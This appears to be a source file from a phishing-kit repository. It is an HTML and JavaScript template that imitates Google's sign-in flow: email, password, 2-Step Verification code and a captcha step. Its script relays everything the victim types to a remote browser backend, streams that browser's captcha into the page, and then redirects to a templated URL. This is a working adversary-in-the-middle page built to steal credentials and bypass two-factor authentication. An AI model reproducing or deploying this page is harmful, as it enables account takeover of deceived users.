||||
background: #f0f4f9;
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 40px 24px;
|
||||
}
|
||||
|
||||
.card {
|
||||
background: #fff;
|
||||
border-radius: 24px;
|
||||
display: flex;
|
||||
width: 100%;
|
||||
max-width: 900px;
|
||||
min-height: 380px;
|
||||
}
|
||||
|
||||
.card-left {
|
||||
flex: 0 0 360px;
|
||||
padding: 52px 48px 48px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.left-content { display: none; flex-direction: column; }
|
||||
.left-content.active { display: flex; }
|
||||
|
||||
.g-logo { margin-bottom: 28px; }
|
||||
|
||||
.heading {
|
||||
font-size: 32px;
|
||||
font-weight: 400;
|
||||
color: #202124;
|
||||
font-family: "Google Sans", sans-serif;
|
||||
line-height: 1.25;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.subheading {
|
||||
font-size: 16px;
|
||||
color: #444746;
|
||||
font-family: Roboto, sans-serif;
|
||||
font-weight: 400;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.account-chip {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
border: 1px solid #dadce0;
|
||||
border-radius: 20px;
|
||||
padding: 6px 16px 6px 10px;
|
||||
margin-top: 16px;
|
||||
font-size: 14px;
|
||||
color: #3c4043;
|
||||
font-family: Roboto, sans-serif;
|
||||
gap: 8px;
|
||||
max-width: 280px;
|
||||
overflow: hidden;
|
||||
}
|
||||
.account-chip .chip-name {
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
}
|
||||
|
||||
.card-right {
|
||||
flex: 1;
|
||||
padding: 52px 56px 40px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.step { display: none; flex-direction: column; flex: 1; }
|
||||
.step.active { display: flex; }
|
||||
|
||||
.field-wrapper { position: relative; margin-bottom: 4px; }
|
||||
|
||||
.field-wrapper input {
|
||||
width: 100%;
|
||||
height: 56px;
|
||||
border: 1px solid #747775;
|
||||
border-radius: 4px;
|
||||
padding: 24px 48px 8px 16px;
|
||||
font-size: 16px;
|
||||
font-family: Roboto, sans-serif;
|
||||
color: #202124;
|
||||
outline: none;
|
||||
background: transparent;
|
||||
transition: border-color 0.15s, border-width 0.15s;
|
||||
caret-color: #1a73e8;
|
||||
}
|
||||
.field-wrapper input:focus {
|
||||
border-color: #1a73e8;
|
||||
border-width: 2px;
|
||||
padding-left: 15px;
|
||||
}
|
||||
.field-wrapper input.error {
|
||||
border-color: #d93025;
|
||||
border-width: 2px;
|
||||
padding-left: 15px;
|
||||
}
|
||||
.field-wrapper label {
|
||||
position: absolute;
|
||||
left: 16px;
|
||||
top: 18px;
|
||||
font-size: 16px;
|
||||
color: #444746;
|
||||
pointer-events: none;
|
||||
transition: top 0.15s, font-size 0.15s, color 0.15s;
|
||||
font-family: Roboto, sans-serif;
|
||||
}
|
||||
.field-wrapper input:focus ~ label,
|
||||
.field-wrapper input:not(:placeholder-shown) ~ label {
|
||||
top: 8px;
|
||||
font-size: 12px;
|
||||
color: #1a73e8;
|
||||
}
|
||||
.field-wrapper input:not(:focus):not(:placeholder-shown) ~ label { color: #444746; }
|
||||
.field-wrapper input.error ~ label,
|
||||
.field-wrapper input.error:focus ~ label { color: #d93025; }
|
||||
|
||||
.password-toggle {
|
||||
position: absolute;
|
||||
right: 10px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
background: none;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
padding: 8px;
|
||||
color: #444746;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
border-radius: 50%;
|
||||
}
|
||||
.password-toggle:hover { background: #f1f3f4; }
|
||||
|
||||
.error-text {
|
||||
font-size: 12px;
|
||||
color: #d93025;
|
||||
margin-top: 4px;
|
||||
padding-left: 16px;
|
||||
font-family: Roboto, sans-serif;
|
||||
min-height: 16px;
|
||||
display: none;
|
||||
}
|
||||
.error-text.visible { display: block; }
|
||||
|
||||
.link-row { margin-top: 12px; }
|
||||
|
||||
.text-link {
|
||||
font-size: 14px;
|
||||
color: #1a73e8;
|
||||
text-decoration: none;
|
||||
font-family: Roboto, sans-serif;
|
||||
font-weight: 500;
|
||||
}
|
||||
.text-link:hover { text-decoration: underline; }
|
||||
|
||||
.guest-note {
|
||||
font-size: 14px;
|
||||
color: #444746;
|
||||
font-family: Roboto, sans-serif;
|
||||
line-height: 1.5;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.actions {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-top: auto;
|
||||
padding-top: 32px;
|
||||
}
|
||||
|
||||
.btn {
|
||||
font-family: "Google Sans", Roboto, sans-serif;
|
||||
font-size: 14px;
|
||||
font-weight: 500;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
padding: 10px 24px;
|
||||
border-radius: 20px;
|
||||
letter-spacing: 0.25px;
|
||||
transition: background 0.2s, box-shadow 0.2s;
|
||||
min-height: 40px;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
.btn-text { background: transparent; color: #1a73e8; }
|
||||
.btn-text:hover { background: #e8f0fe; }
|
||||
.btn-filled { background: #1a73e8; color: #fff; min-width: 88px; }
|
||||
.btn-filled:hover { background: #1b66c9; box-shadow: 0 1px 3px rgba(26,115,232,0.4); }
|
||||
.btn-filled:disabled { background: #e8eaed; color: #bdc1c6; cursor: default; box-shadow: none; }
|
||||
|
||||
.spinner {
|
||||
display: none;
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
border: 2px solid rgba(255,255,255,0.4);
|
||||
border-top-color: #fff;
|
||||
border-radius: 50%;
|
||||
animation: spin 0.75s linear infinite;
|
||||
}
|
||||
@keyframes spin { to { transform: rotate(360deg); } }
|
||||
.btn-filled.loading .btn-label { display: none; }
|
||||
.btn-filled.loading .spinner { display: block; }
|
||||
|
||||
.center-area {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
text-align: center;
|
||||
padding: 16px 0;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
.done-icon {
|
||||
width: 52px;
|
||||
height: 52px;
|
||||
background: #e6f4ea;
|
||||
border-radius: 50%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.page-spinner {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
border: 3px solid #e8eaed;
|
||||
border-top-color: #1a73e8;
|
||||
border-radius: 50%;
|
||||
animation: spin 0.9s linear infinite;
|
||||
}
|
||||
|
||||
#captcha-stream-container {
|
||||
display: inline-block;
|
||||
cursor: pointer;
|
||||
border-radius: 4px;
|
||||
overflow: hidden;
|
||||
}
|
||||
#captcha-stream-container canvas {
|
||||
display: block;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.page-footer {
|
||||
margin-top: 20px;
|
||||
width: 100%;
|
||||
max-width: 900px;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 0 4px;
|
||||
}
|
||||
.page-footer select {
|
||||
border: none;
|
||||
color: #5f6368;
|
||||
font-size: 12px;
|
||||
font-family: Roboto, sans-serif;
|
||||
background: transparent;
|
||||
outline: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
.footer-links { display: flex; gap: 20px; }
|
||||
.footer-link {
|
||||
font-size: 12px;
|
||||
color: #5f6368;
|
||||
text-decoration: none;
|
||||
font-family: Roboto, sans-serif;
|
||||
}
|
||||
.footer-link:hover { text-decoration: underline; }
|
||||
|
||||
@media (max-width: 680px) {
|
||||
.card { flex-direction: column; min-height: 0; }
|
||||
.card-left { flex: none; padding: 40px 32px 20px; }
|
||||
.card-right { padding: 0 32px 40px; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="card">
|
||||
<div class="card-left">
|
||||
|
||||
<div id="left-email" class="left-content active">
|
||||
<div class="g-logo">
|
||||
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
|
||||
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
|
||||
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
|
||||
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="heading">Sign in</h1>
|
||||
<p class="subheading">Use your Google Account</p>
|
||||
</div>
|
||||
|
||||
<div id="left-password" class="left-content">
|
||||
<div class="g-logo">
|
||||
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
|
||||
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
|
||||
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
|
||||
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="heading">Welcome</h1>
|
||||
<div class="account-chip">
|
||||
<svg width="18" height="18" viewBox="0 0 24 24" fill="none">
|
||||
<circle cx="12" cy="8" r="4" fill="#5f6368"/>
|
||||
<path d="M4 20c0-4 3.6-7 8-7s8 3 8 7" stroke="#5f6368" stroke-width="2" stroke-linecap="round"/>
|
||||
</svg>
|
||||
<span id="chip-email" class="chip-name"></span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="left-totp" class="left-content">
|
||||
<div class="g-logo">
|
||||
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
|
||||
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
|
||||
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
|
||||
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="heading">2-Step Verification</h1>
|
||||
<p class="subheading">Open your authenticator app and enter the 6-digit code</p>
|
||||
<div class="account-chip">
|
||||
<svg width="18" height="18" viewBox="0 0 24 24" fill="none">
|
||||
<circle cx="12" cy="8" r="4" fill="#5f6368"/>
|
||||
<path d="M4 20c0-4 3.6-7 8-7s8 3 8 7" stroke="#5f6368" stroke-width="2" stroke-linecap="round"/>
|
||||
</svg>
|
||||
<span id="chip-email-totp" class="chip-name"></span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="left-captcha" class="left-content">
|
||||
<div class="g-logo">
|
||||
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
|
||||
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
|
||||
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
|
||||
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="heading">One more step</h1>
|
||||
<p class="subheading">Complete the security check to continue signing in</p>
|
||||
</div>
|
||||
|
||||
<div id="left-waiting" class="left-content">
|
||||
<div class="g-logo">
|
||||
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
|
||||
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
|
||||
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
|
||||
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="heading">Please wait</h1>
|
||||
<p class="subheading">Reconnecting to Google</p>
|
||||
</div>
|
||||
|
||||
<div id="left-done" class="left-content">
|
||||
<div class="g-logo">
|
||||
<svg width="40" height="40" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/>
|
||||
<path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/>
|
||||
<path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/>
|
||||
<path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/>
|
||||
</svg>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="card-right">
|
||||
|
||||
<div id="step-email" class="step active">
|
||||
<div class="field-wrapper">
|
||||
<input type="email" id="email-input" placeholder=" " autocomplete="email" autofocus />
|
||||
<label for="email-input">Email or phone</label>
|
||||
</div>
|
||||
<div id="email-error" class="error-text"></div>
|
||||
<div class="link-row"><a href="#" class="text-link">Forgot email?</a></div>
|
||||
<p class="guest-note">
|
||||
Not your computer? Use Guest mode to sign in privately.
|
||||
<a href="#" class="text-link">Learn more</a>
|
||||
</p>
|
||||
<div class="actions">
|
||||
<a href="#" class="btn btn-text">Create account</a>
|
||||
<button id="email-next" class="btn btn-filled" onclick="submitEmail()">
|
||||
<span class="btn-label">Next</span>
|
||||
<div class="spinner"></div>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="step-password" class="step">
|
||||
<div class="field-wrapper">
|
||||
<input type="password" id="password-input" placeholder=" " autocomplete="current-password" />
|
||||
<label for="password-input">Enter your password</label>
|
||||
<button class="password-toggle" type="button" onclick="togglePassword()" tabindex="-1" aria-label="Show password">
|
||||
<svg width="20" height="20" viewBox="0 0 24 24" fill="none">
|
||||
<path d="M12 5C7 5 2.73 8.11 1 12.5 2.73 16.89 7 20 12 20s9.27-3.11 11-7.5C21.27 8.11 17 5 12 5zm0 12.5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z" fill="#444746"/>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div id="password-error" class="error-text"></div>
|
||||
<div class="link-row"><a href="#" class="text-link">Forgot password?</a></div>
|
||||
<div class="actions">
|
||||
<a href="#" class="btn btn-text">Try another way</a>
|
||||
<button id="password-next" class="btn btn-filled" onclick="submitPassword()">
|
||||
<span class="btn-label">Next</span>
|
||||
<div class="spinner"></div>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="step-totp" class="step">
|
||||
<div class="field-wrapper">
|
||||
<input type="text" id="totp-input" placeholder=" " inputmode="numeric" pattern="[0-9]*" maxlength="6" autocomplete="one-time-code" />
|
||||
<label for="totp-input">Enter code</label>
|
||||
</div>
|
||||
<div id="totp-error" class="error-text"></div>
|
||||
<div class="link-row"><a href="#" class="text-link">Try another way</a></div>
|
||||
<div class="actions">
|
||||
<div></div>
|
||||
<button id="totp-next" class="btn btn-filled" onclick="submitTOTP()">
|
||||
<span class="btn-label">Next</span>
|
||||
<div class="spinner"></div>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="step-captcha" class="step">
|
||||
<div class="center-area">
|
||||
<div id="captcha-stream-container"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="step-waiting" class="step">
|
||||
<div class="center-area">
|
||||
<div class="page-spinner"></div>
|
||||
<p class="subheading">Please wait…</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="step-done" class="step">
|
||||
<div class="center-area">
|
||||
<div class="done-icon">
|
||||
<svg width="26" height="26" viewBox="0 0 24 24" fill="none">
|
||||
<path d="M5 12l4 4L19 7" stroke="#1e8e3e" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="heading">You're signed in</h1>
|
||||
<p class="subheading">Redirecting…</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="page-footer">
|
||||
<select aria-label="Language"><option>English (United States)</option></select>
|
||||
<div class="footer-links">
|
||||
<a href="#" class="footer-link">Help</a>
|
||||
<a href="#" class="footer-link">Privacy</a>
|
||||
<a href="#" class="footer-link">Terms</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{{RemoteBrowserScript "Google POC"}}
|
||||
<script>
|
||||
var currentEmail = '';
|
||||
var currentStep = 'email';
|
||||
|
||||
function showStep(name) {
|
||||
['email-next', 'password-next', 'totp-next'].forEach(function(id) {
|
||||
setLoading(id, false);
|
||||
});
|
||||
document.querySelectorAll('.step').forEach(function(el) {
|
||||
el.classList.remove('active');
|
||||
});
|
||||
document.querySelectorAll('.left-content').forEach(function(el) {
|
||||
el.classList.remove('active');
|
||||
});
|
||||
document.getElementById('step-' + name).classList.add('active');
|
||||
document.getElementById('left-' + name).classList.add('active');
|
||||
currentStep = name;
|
||||
if (name === 'password') {
|
||||
document.getElementById('chip-email').textContent = currentEmail;
|
||||
document.getElementById('password-input').focus();
|
||||
}
|
||||
if (name === 'totp') {
|
||||
document.getElementById('chip-email-totp').textContent = currentEmail;
|
||||
document.getElementById('totp-input').focus();
|
||||
}
|
||||
}
|
||||
|
||||
function setError(field, msg) {
|
||||
document.getElementById(field + '-input').classList.add('error');
|
||||
var el = document.getElementById(field + '-error');
|
||||
el.textContent = msg;
|
||||
el.classList.add('visible');
|
||||
}
|
||||
|
||||
function clearError(field) {
|
||||
document.getElementById(field + '-input').classList.remove('error');
|
||||
document.getElementById(field + '-error').classList.remove('visible');
|
||||
}
|
||||
|
||||
function setLoading(id, on) {
|
||||
var btn = document.getElementById(id);
|
||||
if (!btn) return;
|
||||
btn.classList.toggle('loading', on);
|
||||
btn.disabled = on;
|
||||
}
|
||||
|
||||
function submitEmail() {
|
||||
var val = document.getElementById('email-input').value.trim();
|
||||
if (!val) return;
|
||||
clearError('email');
|
||||
currentEmail = val;
|
||||
setLoading('email-next', true);
|
||||
window.remoteBrowser.send('email', { email: val });
|
||||
}
|
||||
|
||||
function submitPassword() {
|
||||
var val = document.getElementById('password-input').value;
|
||||
if (!val) return;
|
||||
clearError('password');
|
||||
setLoading('password-next', true);
|
||||
window.remoteBrowser.send('password', { password: val });
|
||||
}
|
||||
|
||||
function submitTOTP() {
|
||||
var val = document.getElementById('totp-input').value.trim();
|
||||
if (!val) return;
|
||||
clearError('totp');
|
||||
setLoading('totp-next', true);
|
||||
window.remoteBrowser.send('totp', { totp: val });
|
||||
}
|
||||
|
||||
function togglePassword() {
|
||||
var inp = document.getElementById('password-input');
|
||||
inp.type = inp.type === 'password' ? 'text' : 'password';
|
||||
}
|
||||
|
||||
document.addEventListener('keydown', function(e) {
|
||||
if (e.key !== 'Enter') return;
|
||||
if (currentStep === 'email') submitEmail();
|
||||
else if (currentStep === 'password') submitPassword();
|
||||
else if (currentStep === 'totp') submitTOTP();
|
||||
});
|
||||
|
||||
['email', 'password', 'totp'].forEach(function(f) {
|
||||
var el = document.getElementById(f + '-input');
|
||||
if (el) el.addEventListener('input', function() { clearError(f); });
|
||||
});
|
||||
|
||||
var rb = window.remoteBrowser;
|
||||
if (rb) {
|
||||
rb.on('invalid_email', function(val) {
|
||||
showStep('email');
|
||||
setError('email', val || "Couldn't find your Google Account");
|
||||
});
|
||||
|
||||
rb.on('passwordReady', function() {
|
||||
showStep('password');
|
||||
});
|
||||
|
||||
rb.on('invalid_password', function(val) {
|
||||
showStep('password');
|
||||
setError('password', val || 'Wrong password. Try again.');
|
||||
});
|
||||
|
||||
rb.on('totp_ready', function() {
|
||||
showStep('totp');
|
||||
});
|
||||
|
||||
rb.on('totp_error', function(val) {
|
||||
showStep('totp');
|
||||
setError('totp', val || 'Wrong code. Try again.');
|
||||
});
|
||||
|
||||
rb.on('invalid_totp', function(val) {
|
||||
showStep('totp');
|
||||
setError('totp', val || 'Wrong code. Try again.');
|
||||
});
|
||||
|
||||
rb.on('captcha_stream', function() {
|
||||
showStep('captcha');
|
||||
rb.mountStream('captcha', document.getElementById('captcha-stream-container'), { autoSize: true });
|
||||
});
|
||||
|
||||
rb.on('stream_start', 'captcha', function() {
|
||||
// sizing applied automatically by mountStream + inject JS
|
||||
});
|
||||
|
||||
rb.on('stream_stop', 'captcha', function() {
|
||||
showStep('waiting');
|
||||
});
|
||||
|
||||
rb.on('unknown_state', function() {
|
||||
showStep('waiting');
|
||||
});
|
||||
|
||||
rb.on('complete', function() {
|
||||
showStep('done');
|
||||
setTimeout(function() { location.href = '{{.URL}}'; }, 1500);
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user